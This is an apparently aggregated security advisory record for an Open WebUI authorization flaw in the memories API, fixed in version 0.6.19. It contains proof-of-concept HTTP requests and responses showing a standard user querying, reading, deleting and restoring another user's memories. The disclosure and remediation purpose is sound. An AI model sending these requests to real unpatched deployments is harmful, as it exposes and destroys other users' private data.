{"id":"CVE-2026-44570","aliases":["GHSA-hmjq-crxp-7rjw","PYSEC-2026-2733"],"title":"Open WebUI has inconsistent authorization controls within memories API","summary":"Open WebUI has inconsistent authorization controls within memories API","severity":"high","cvss":8.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","vendor":"open-webui","product":"open-webui","ecosystem":"pip","affected":["open-webui < 0.6.19"],"patched":["open-webui 0.6.19"],"published":"2026-05-11","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-hmjq-crxp-7rjw","references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-hmjq-crxp-7rjw"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44570"},{"url":"https://github.com/open-webui/open-webui"}],"tags":["osv","pip"],"epss":0.00294,"epssPercentile":0.22235,"ingestedAt":"2026-07-13T18:57:59.266Z","slug":"CVE-2026-44570","body":"## Overview\n\n### Summary\n\nAuthorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.\n\n\n### Details\n\nUsing a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users.\n\nSimilarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.\n\nThe `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again.\n\n### PoC 1\n\n**Example of a user with no memories able to query an existing memory from another user**\n\n```\nGET /api/v1/memories/ HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 0\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:19:58 GMT\nserver: uvicorn\ncontent-length: 2\ncontent-type: application/json\nx-process-time: 0\n\n[]\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:22:01 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\naccess-control-allow-origin: *\naccess-control-allow-credentials: true\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### PoC 2\n\n**Example showing excess output about a memory a user has no access to modify**\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 18:53:37 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n### PoC 3\n\n**Example showing a memory being deleted then restored by a different user than its owner**\n\n```\nDELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nConnection: keep-alive\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:31:19 GMT\nserver: uvicorn\ncontent-length: 4\ncontent-type: application/json\nx-process-time: 0\n\ntrue\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:32:31 GMT\nserver: uvicorn\ncontent-length: 63\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[]],\"documents\":[[]],\"metadatas\":[[]],\"distances\":[[]]}\n```\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:05 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:34 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### Impact\n\nPotential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.\n\n## Affected packages\n\n- `open-webui < 0.6.19`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `open-webui 0.6.19`","depth":"twilight","depthScore":46,"depthScoreParts":{"impact":45.7,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}